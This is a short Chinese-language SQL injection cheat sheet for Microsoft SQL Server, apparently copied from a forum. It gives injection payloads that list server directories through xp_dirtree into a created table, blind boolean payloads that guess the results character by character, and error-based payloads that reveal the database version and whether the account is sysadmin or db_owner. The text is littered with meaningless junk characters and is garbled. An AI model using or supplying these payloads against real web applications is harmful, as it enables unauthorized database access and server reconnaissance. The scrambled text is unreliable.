0 t. K+ ]( C7 W* v% p, s! l Y5 i2 A( ` x4 e. V
关于MSSQL列目录 6 C G# Z% H% A. a, Z# h: s9 u. Y;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表 3 a) z4 r0 Y" I* [$ H2 @Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表( @; {/ N( T2 `! T
]; Y) M/ P3 \6 J" ?
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录 4 Q6 y1 ~) [3 N" m/ R) e4 A/ u* W7 ^4 x3 X3 C1 Z
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段: x N) V/ W7 \* H' k- E6 e
; Y2 K) G" h6 ]( H" pAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符 2 n8 g8 c; Z( N " {% i/ T O" G" v " N7 B1 q7 S) V% M& t0 Z数据库版本和权限查看5 j' e8 ~7 o2 }( u4 a: h
and 1=(select @@VERSION) //查看详细的数据库信息.3 j# e5 ?( w/ |0 Q7 U
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA : I. s3 ~. v+ t, r7 ~& j uand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER. G; a s, A& V5 D